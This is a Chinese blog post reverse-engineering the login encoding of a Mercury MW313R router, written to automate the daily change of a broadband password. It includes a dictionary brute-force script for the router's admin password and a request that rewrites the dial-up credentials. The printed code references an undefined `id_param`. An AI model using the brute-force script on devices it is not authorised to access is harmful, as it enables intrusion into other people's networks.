水星MW313R路由器管理端登录流程

这个登录流程是真的坑爹。。

我们学校由于未知原因,宿舍不通校园网。所以我们就必须去办坑爹的4M独家电信宽带。然后,电信还不让我们用路由器接网给几个人同时用。。幸运的是,经过一通操作,我们终于用上了路由器。虽然这样,电信的密码还要每日一换。因此,我们一直希望实现自动更换密码。于是现在我终于开始搞了。。

首先想的是,能不能直接上路由器的系统,然后改配置文件。。但是一扫发现根本就没有开相应端口。。

1
2
3
4
5
6
7
8
9
10
11
12
➜ mercury nmap 192.168.1.1 -p0-65535
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-06 22:40 CST
Nmap scan report for 192.168.1.1
Host is up (0.0083s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
1900/tcp open upnp
20002/tcp open commtact-http
Nmap done: 1 IP address (1 host up) scanned in 104.65 seconds

所以就只能硬着头皮搞这个登录流程了。。用Burpsuite抓包,发现请求的顺序诡异。先是POST请求http://192.168.1.1/?code=2&asyn=1,然后返回了一串奇怪的字符

1
2
3
4
5
6
00007
00004
00000
H,<47l3|sV~yDFDs
sKajd<V{]>~U{gqtM$Z)VF0|}X<ItCI6b0GvK27i}dVsJ4azRx|N!9WMSEuh3a9>hYn},7+dxvGENrH>D7Xne(Ejt!x0iFqgXju+SpBCh8C5SshZ+|!maJV~0wic0HEjrL2maKWq$A]aoVp{*m$4NVX4.P0e7|F!0+0~ZHXRVJWmwKZo5i3DB3C5T4p5W47hdr3hLhEeA+p[.0~*IGe$4(,YVHx4>D+ToojuLWF*!s7(*Kmqm6WkimeZeG]H7
00000

再然后,就会去POST请求一个http://192.168.1.1/?code=7&asyn=0&id=t8%5BK%2CWGC0QF%5BKDAx。再往后好像就一直通过这个id加在参数里面来请求了。于是问题来了,在请求包回包里面没看到有id这玩意。但是id这个参数又特别重要,必须要搞到。直接view-source:192.168.1.1,得到首页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>MW313R</title>
<link rel="Shortcut Icon" href="../images/icon_me.png" type="image/jpeg" />
<script type="text/javascript" src="../dynaform/class.js"></script>
<link rel="stylesheet" type="text/css" href="../dynaform/class.css" />
</head>
<body>
<div id="Error"></div>
<div id="Confirm"></div>
<div id="Con"></div>
<div id="Help"></div>
<div id="Cover"></div>
<div id="Login"></div>
<script type="text/javascript">
pageOnload();
</script>
</body>
</html>

下载class.js文件,format一下就可以开始怼代码。由于Ctrl+Shift+I看Element可以发现密码输入框的id是lgPwd。直接在class.js里面搜lgpwd,可以发现this.getLgPwd这个函数。但是Console里面看sessionLS并没有什么信息Storage {lgKey: "", length: 1}。。

1
2
3
4
5
this.getLgPwd = function() {
try {
$.pwd = sessionLS.getItem(this.LGKEYSTR)
} catch (b) {}
};

但是发现了一个貌似有点用的函数,刚好就在this.getLgPwd上面,是这样的

1
2
3
this.auth = function() {
$.auth($.pwd)
};

精妙的是在Console里面输入$.auth,就会发现这个函数。点击后发现,这个函数来自lib/Quary.js

1
2
3
4
5
6
7
8
9
10
11
12
13
this.auth = function(a) {
var b = a,
c = this.domainUrl + "?code=" + TDDP_AUTH + "&asyn=0";
if (void 0 == a || 0 == b.length) return this.result.errorno = EUNAUTH, this.result;
a = void 0;
this.initResult();
this.session = this.securityEncode(authInfo[3], b, authInfo[4]);
c += "&id=" + this.encodePara(this.session);
if (!1 == this.local || this.routerAlive) this.externLoading(!0), this.request(c, a, "post", this.ajaxSyn), this.externLoading(!1);
this.parseAuthRlt();
ENONE == this.result.errorno && this.setLgPwd(b);
return this.result
};

Console里面确认了TDDP_AUTH就是7,所以这个函数一通操作,就是刚才说到的莫名其妙首次带上了id这个参数的请求。在Sources下面的lib目录找了半天,终于找到了encodePara。结果发现只是一个简单的URL encode。

1
2
3
this.encodePara = function(a) {
return a = encodeURL(a.toString())
}

首先看一下authInfo。Console里面直接打出来,发现和前面说到的第一个请求得到的莫名其妙的字符串好像。结果测试下发现就是。。因此第一个请求得到的data,进行data.split(“\r\n”)就可以得到authInfo

因此我们知道,只要搞明白securityEncode就稳了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
this.securityEncode = function(a, b, c) {
var d = "",
e, f, h, m, k = 187,
l = 187;
f = a.length;
h = b.length;
m = c.length;
e = f > h ? f : h;
for (var g = 0; g < e; g++)
l = k = 187,
g >= f ? l = b.charCodeAt(g) : g >= h ? k = a.charCodeAt(g) : (k = a.charCodeAt(g), l = b.charCodeAt(g)),
d += c.charAt((k ^ l) % m);
return d
};

这个代码估计是混淆过,反正暂时也不需要搞明白他是怎么样一个安全encode,直接Python化这段代码,可得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def securityEncode(a, b, c):
d = ""
k = 187
l = 187
f = len(a)
h = len(b)
m = len(c)
e = 0
if f > h:
e = f
else:
e = h
for g in range(e):
l = 187
k = 187
if g >= f:
l = ord(b[g])
else:
if g >= h:
k = ord(a[g])
else:
k = ord(a[g])
l = ord(b[g])
d += c[(k ^ l) % m]
return d

看起来我好像是稳了,实际上并不是。我随便用登录密码为123测试,但是用这个函数生成的id还是和请求里面的不一样。搞了半天后,我点开了401这个错误。然后幸运地在VM68:124发现了lgDoSub这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function lgDoSub()
{
var lgPwd = id("lgPwd"), sessionValue = "";
var value = lgPwd.value, result, pos, errorCode;
$.rsf(function(){
/* 发送密码数据 */
result = $.auth($.orgAuthPwd(value));
/* 处理返回的结果 */
if (result.errorno == ENONE)
{
unloadLogin();
lgPwd.value = "";
}
else
{
showLgError(parseInt(authInfo[1]));
}
});
}

这个函数的意图很明显,直接先用id(“lgPwd”)取出密码输入框的input,再取出密码。可以发现,这里请求并不是直接用密码输入框里面的值调用$.auth,即($.auth(value)),而是$.auth($.orgAuthPwd(value)),是先对密码调用了orgAuthPwd,再进行$.auth。所以我大胆预测,上面this.auth里面的$.pwd,也是这样子生成的。于是这次就真的是稳了。

1
2
3
this.orgAuthPwd = function(a) {
return this.securityEncode(a, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
};

因此是这样一个流程

1
2
3
4
5
6
base_url = "http://192.168.1.1/"
res = req.post(base_url + "?code=2&asyn=1")
authInfo = res.text.split("\r\n")[:-1]
password = "xxxxx" #路由器管理端密码
tmp = securityEncode(password, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
id = securityEncode(authInfo[3], tmp, authInfo[4])

这样一通操作就可以得到正确的id参数了。所以可以搞一波水星MW313R路由器的管理端密码爆破脚本。。

1
2
3
4
5
6
7
8
9
10
11
12
13
base_url = "http://192.168.1.1/"
with open("dict.txt", "r") as f:
for line in f:
res = req.post(base_url + "?code=2&asyn=1")
authInfo = res.text.split("\r\n")[:-1]
password = line[:-1]
tmp = securityEncode(password, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
id = securityEncode(authInfo[3], tmp, authInfo[4])
res = req.post(base_url + "?code=7&asyn=0&id=" + quote(id_param))
if res.text == "00000\r\n":
print(password)
# 恭喜找到管理端密码
break

所以说,代码的混淆是十分重要的。像这个路由器的登录代码,虽然其实混淆做的也不是很到位,但是还是需要一通操作才得到id生成方式。如果是一下子就得到,这个爬虫岂不是一下就搞出来了。像之前逆向某检查手机违禁文件的Android app就是发现没有混淆啥的,直接就被扒光看,实在是僵。。

其实事情到现在还没完。。模拟登录是可以成功了,但是还要改宽带密码。不过这些就简单很多了,因为后面操作的鉴权方式几乎都是根据上面累死累活算出的id。试改密码,再抓包,可得。(其实这里会有坑,如果密码没改,他发包是另一个包,就会有迷惑性,一定要改了密码再抓包)

1
2
3
4
5
6
passwd = "xxx" # 电信更新的密码
data = "id 26\r\nsvName \r\nacName \r\nname 17730222102\r\npaswd %s\r\nfixipEnb 0\r\nfixip 0.0.0.0\r\nmanualDns 0\r\ndns 0 0.0.0.0\r\ndns 1 0.0.0.0\r\nlcpMru 1480\r\nlinkType 0\r\ndialMode 100\r\nmaxIdleTime 15\r\nid 22\r\nlinkMode 0\r\nlinkType 2\r\n" % passwd
res = req.post(base_url + "?code=1&asyn=0&id=" + quote(id_param), data=data)
if res.text == "00000\r\n":
# 成功
print("Success")